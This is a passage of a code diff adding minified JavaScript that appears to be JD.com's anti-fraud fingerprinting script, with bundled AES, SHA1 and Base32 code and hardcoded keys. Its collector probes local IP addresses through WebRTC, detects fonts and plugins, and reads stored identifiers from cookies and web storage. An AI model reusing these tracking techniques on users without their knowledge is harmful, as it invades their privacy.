| + ((a.charCodeAt(B + 11) & 255) << 24), + ]), + (q = this.x64Multiply(q, C)), + (q = this.x64Rotl(q, 31)), + (q = this.x64Multiply(q, D)), + (h = this.x64Xor(h, q)), + (h = this.x64Rotl(h, 27)), + (h = this.x64Add(h, b)), + (h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809])), + (z = this.x64Multiply(z, D)), + (z = this.x64Rotl(z, 33)), + (z = this.x64Multiply(z, C)), + (b = this.x64Xor(b, z)), + (b = this.x64Rotl(b, 31)), + (b = this.x64Add(b, h)), + (b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, 944331445])); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + (z = this.x64Xor(z, [0, a.charCodeAt(B + 8)])), + (z = this.x64Multiply(z, D)), + (z = this.x64Rotl(z, 33)), + (z = this.x64Multiply(z, C)), + (b = this.x64Xor(b, z)); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + (q = this.x64Xor(q, [0, a.charCodeAt(B)])), + (q = this.x64Multiply(q, C)), + (q = this.x64Rotl(q, 31)), + (q = this.x64Multiply(q, D)), + (h = this.x64Xor(h, q)); + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ( + ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + + ("00000000" + (h[1] >>> 0).toString(16)).slice(-8) + + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + + ("00000000" + (b[1] >>> 0).toString(16)).slice(-8) + ); + }, + }; +} + +var JDDSecCryptoJS = + JDDSecCryptoJS || + (function (t, u) { + var v = {}, + x = (v.lib = {}), + w = (x.Base = (function () { + function g() {} + + return { + extend: function (m) { + g.prototype = this; + var a = new g(); + m && a.mixIn(m); + a.hasOwnProperty("init") || + (a.init = function () { + a.$super.init.apply(this, arguments); + }); + a.init.prototype = a; + a.$super = this; + return a; + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m; + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString); + }, + clone: function () { + return this.init.prototype.extend(this); + }, + }; + })()), + A = (x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length; + }, + toString: function (g) { + return (g || n).stringify(this); + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) + m[(b + c) >>> 2] |= + ((a[c >>> 2] >>> (24 - (c % 4) * 8)) & 255) << + (24 - ((b + c) % 4) * 8); + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[(b + c) >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this; + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << (32 - (m % 4) * 8); + g.length = t.ceil(m / 4); + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g; + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) + m.push((4294967296 * t.random()) | 0); + return new A.init(m, g); + }, + })); + x.UUID = w.extend({ + generateUuid: function () { + for ( + var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), + m = 0, + a = g.length; + m < a; + m++ + ) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16); + } + return g.join(""); + }, + }); + var y = (v.enc = {}), + n = (y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = (m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)); + } + return a.join(""); + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) + a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << (24 - (b % 8) * 4); + return new A.init(a, m / 2); + }, + }), + e = (y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) + a.push( + String.fromCharCode((m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255) + ); + return a.join(""); + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) + a[b >>> 2] |= (g.charCodeAt(b) & 255) << (24 - (b % 4) * 8); + return new A.init(a, m); + }, + }), + f = (y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))); + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))); + }, + }), + r = (x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init(); + this._nDataBytes = 0; + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes; + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b; + } + return new A.init(h, b); + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g; + }, + _minBufferSize: 0, + })); + x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset(); + }, + reset: function () { + r.reset.call(this); + this._doReset(); + }, + update: function (g) { + this._append(g); + this._process(); + return this; + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize(); + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return new g.init(a).finalize(m); + }; + }, + _createHmacHelper: function (g) { + return function (m, a) { + return new k.HMAC.init(g, a).finalize(m); + }; + }, + }); + var k = (v.algo = {}); + v.channel = {}; + return v; + })(Math); +JDDSecCryptoJS.lib.Cipher || + (function (t) { + var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = (v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m); + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m); + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset(); + }, + reset: function () { + A.reset.call(this); + this._doReset(); + }, + process: function (g) { + this._append(g); + return this._process(); + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize(); + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: (function () { + function g(m) { + if ("string" != typeof m) return k; + } + + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c); + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c); + }, + }; + }; + })(), + })); + v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0); + }, + blockSize: 1, + }); + var n = (u.mode = {}), + e = (v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m); + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m); + }, + init: function (g, m) { + this._cipher = g; + this._iv = m; + }, + })); + n = n.CBC = (function () { + function g(a, b, c) { + var l = this._iv; + l ? (this._iv = t) : (l = this._prevBlock); + for (var h = 0; h < c; h++) a[b + h] ^= l[h]; + } + + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l); + }, + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h; + }, + }); + return m; + })(); + var f = ((u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for ( + var a = (m << 24) | (m << 16) | (m << 8) | m, b = [], c = 0; + c < m; + c += 4 + ) + b.push(a); + m = w.create(b, m); + g.concat(m); + }, + unpad: function (g) { + g.sigBytes -= g.words[(g.sigBytes - 1) >>> 2] & 255; + }, + }); + v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f, + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else (a = g.createDecryptor), (this._minBufferSize = 1); + this._mode = a.call(g, this, m && m.words); + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m); + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0); + } else (m = this._process(!0)), g.unpad(m); + return m; + }, + blockSize: 4, + }); + var r = (v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g); + }, + toString: function (g) { + return (g || this.formatter).stringify(this); + }, + })); + u.format = {}; + var k = (v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format, + }); + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext); + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g; + }, + })); + })(); +(function () { + var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; + (function () { + for (var a = [], b = 0; 256 > b; b++) + a[b] = 128 > b ? b << 1 : (b << 1) ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ (l << 1) ^ (l << 2) ^ (l << 3) ^ (l << 4); + h = (h >>> 8) ^ (h & 255) ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = (257 * a[h]) ^ (16843008 * h); + A[c] = (D << 24) | (D >>> 8); + y[c] = (D << 16) | (D >>> 16); + n[c] = (D << 8) | (D >>> 24); + e[c] = D; + D = (16843009 * C) ^ (65537 * z) ^ (257 * q) ^ (16843008 * c); + f[h] = (D << 24) | (D >>> 8); + r[h] = (D << 16) | (D >>> 16); + k[h] = (D << 8) | (D >>> 24); + g[h] = D; + c ? ((c = q ^ a[a[a[C ^ q]]]), (l ^= a[a[l]])) : (c = l = 1); + } + })(); + var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; + v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = (this._keySchedule = []), h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c + ? 6 < c && + 4 == h % c && + (q = + (x[q >>> 24] << 24) | + (x[(q >>> 16) & 255] << 16) | + (x[(q >>> 8) & 255] << 8) | + x[q & 255]) + : ((q = (q << 8) | (q >>> 24)), + (q = + (x[q >>> 24] << 24) | + (x[(q >>> 16) & 255] << 16) | + (x[(q >>> 8) & 255] << 8) | + x[q & 255]), + (q ^= m[(h / c) | 0] << 24)); + l[h] = l[h - c] ^ q; + } + b = this._invKeySchedule = []; + for (c = 0; c < a; c++) + (h = a - c), + (q = c % 4 ? l[h] : l[h - 4]), + (b[c] = + 4 > c || 4 >= h + ? q + : f[x[q >>> 24]] ^ + r[x[(q >>> 16) & 255]] ^ + k[x[(q >>> 8) & 255]] ^ + g[x[q & 255]]); + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x); + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for ( + var D = this._nRounds, + B = a[b] ^ c[0], + F = a[b + 1] ^ c[1], + H = a[b + 2] ^ c[2], + G = a[b + 3] ^ c[3], + I = 4, + M = 1; + M < D; + M++ + ) { + var J = + l[B >>> 24] ^ + h[(F >>> 16) & 255] ^ + q[(H >>> 8) & 255] ^ + z[G & 255] ^ + c[I++], + K = + l[F >>> 24] ^ + h[(H >>> 16) & 255] ^ + q[(G >>> 8) & 255] ^ + z[B & 255] ^ + c[I++], + L = + l[H >>> 24] ^ + h[(G >>> 16) & 255] ^ + q[(B >>> 8) & 255] ^ + z[F & 255] ^ + c[I++]; + G = + l[G >>> 24] ^ + h[(B >>> 16) & 255] ^ + q[(F >>> 8) & 255] ^ + z[H & 255] ^ + c[I++]; + B = J; + F = K; + H = L; + } + J = + ((C[B >>> 24] << 24) | + (C[(F >>> 16) & 255] << 16) | + (C[(H >>> 8) & 255] << 8) | + C[G & 255]) ^ + c[I++]; + K = + ((C[F >>> 24] << 24) | + (C[(H >>> 16) & 255] << 16) | + (C[(G >>> 8) & 255] << 8) | + C[B & 255]) ^ + c[I++]; + L = + ((C[H >>> 24] << 24) | + (C[(G >>> 16) & 255] << 16) | + (C[(B >>> 8) & 255] << 8) | + C[F & 255]) ^ + c[I++]; + G = + ((C[G >>> 24] << 24) | + (C[(B >>> 16) & 255] << 16) | + (C[(F >>> 8) & 255] << 8) | + C[H & 255]) ^ + c[I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G; + }, + keySize: 8, + }); + t.AES = u._createHelper(v); +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; + u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([ + 1732584193, 4023233417, 2562383102, 271733878, 3285377520, + ]); + }, + _doProcessBlock: function (A, y) { + for ( + var n = this._hash.words, + e = n[0], + f = n[1], + r = n[2], + k = n[3], + g = n[4], + m = 0; + 80 > m; + m++ + ) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = (a << 1) | (a >>> 31); + } + a = ((e << 5) | (e >>> 27)) + g + w[m]; + a = + 20 > m + ? a + (((f & r) | (~f & k)) + 1518500249) + : 40 > m + ? a + ((f ^ r ^ k) + 1859775393) + : 60 > m + ? a + (((f & r) | (f & k) | (r & k)) - 1894007588) + : a + ((f ^ r ^ k) - 899497514); + g = k; + k = r; + r = (f << 30) | (f >>> 2); + f = e; + e = a; + } + n[0] = (n[0] + e) | 0; + n[1] = (n[1] + f) | 0; + n[2] = (n[2] + r) | 0; + n[3] = (n[3] + k) | 0; + n[4] = (n[4] + g) | 0; + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << (24 - (e % 32)); + y[(((e + 64) >>> 9) << 4) + 14] = Math.floor(n / 4294967296); + y[(((e + 64) >>> 9) << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash; + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A; + }, + }); + t.SHA1 = x._createHelper(u); + t.HmacSHA1 = x._createHmacHelper(u); +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.channel; + u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt( + { + ciphertext: t.enc.Base32.parse(v), + }, + w, + { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x, + } + ).toString(t.enc.Utf8); + }, + deBase64: function (v) { + return ""; + }, + }; + u.Uplink = { + enAsBase32: function (v) { + return ""; + }, + enAsBase64: function (v) { + return ""; + }, + }; +})(); + +(function () { + var t = JDDSecCryptoJS, + u = t.lib.WordArray; + t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) + n[e] = (x[(y + e) >>> 2] >>> (24 - ((y + e) % 4) * 8)) & 255; + n = [ + (n[0] >>> 3) & 31, + ((n[0] & 7) << 2) | ((n[1] >>> 6) & 3), + (n[1] >>> 1) & 31, + ((n[1] & 1) << 4) | ((n[2] >>> 4) & 15), + ((n[2] & 15) << 1) | ((n[3] >>> 7) & 1), + (n[3] >>> 2) & 31, + ((n[3] & 3) << 3) | ((n[4] >>> 5) & 7), + n[4] & 31, + ]; + for (e = 0; 8 > e && y + 0.625 * e < w; e++) v.push(A.charAt(n[e])); + } + if ((x = A.charAt(32))) for (; v.length % 8; ) v.push(x); + return v.join(""); + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && ((A = v.indexOf(A)), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & (w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8), + r = 255 & (w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8); + e = + e % 3 ? 0 : 255 & (w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7)); + A[y >>> 2] |= (f | r | e) << (24 - (y % 4) * 8); + y++; + } + } + return u.create(A, y); + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", + }; +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ") + .map(function (v) { + return parseInt(v, 16); + }); + } + + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) + x = (x >>> 8) ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0; + } +} + +var _CurrentPageProtocol = + "https:" == document.location.protocol ? "https://" : "http://", + _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", + _url_query_str = "", + _root_domain = "", + _CurrentPageUrl = (function () { + var t = document.location.href.toString(); + try { + _root_domain = + /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec( + t + )[1]; + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && + ((_url_query_str = t.substring(u + 1)), + 500 < _url_query_str.length && + (_url_query_str = _url_query_str.substring(0, 499)), + (t = t.substring(0, u))); + return (t = t.substring(_CurrentPageProtocol.length)); + })(), + jd_shadow__ = (function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = new Date().getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = new JDDMAC().mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y, + }).ciphertext.toString(t.enc.Base32); + } catch (f) { + console.log(f); + } + })(); +var td_collect = new (function () { + function t() { + var n = + window.webkitRTCPeerConnection || + window.mozRTCPeerConnection || + window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0; + } catch (c) {} + }, + f = {}; + try { + var r = new n({ + iceServers: [ + { + url: "stun:stun.services.mozilla.com", + }, + ], + }); + } catch (k) {} + try { + void 0 === r && + (r = new n({ + iceServers: [], + })); + } catch (k) {} + if (r || window.mozRTCPeerConnection) + try { + r.createDataChannel("chat", { + reliable: !1, + }); + } catch (k) {} + r && + ((r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate); + }), + r.createOffer( + function (k) { + r.setLocalDescription( + k, + function () {}, + function () {} + ); + }, + function () {} + ), + setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k); + }); + } catch (k) {} + }, 800)); + } + } + + function u(n) { + var e; + return (e = document.cookie.match( + new RegExp("(^| )" + n + "=([^;]*)(;|$)") + )) + ? e[2] + : ""; + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m; + } + + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0; + } + return !1; + }; + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k); + } + return e; + } + + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50, + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "", + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace( + /(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, + "$1" + ); + 0 !== f.length && (e.cookie = f); + } catch (k) {} + try { + window.localStorage && + null !== window.localStorage && + 0 !== window.localStorage.length && + (e.localStorage = window.localStorage.getItem("3AB9D23F7A4B3C9B")); + } catch (k) {} + try { + window.sessionStorage && + null !== window.sessionStorage && + (e.sessionStorage = window.sessionStorage["3AB9D23F7A4B3C9B"]); + } catch (k) {} + try { + p.globalStorage && + (e.globalStorage = + 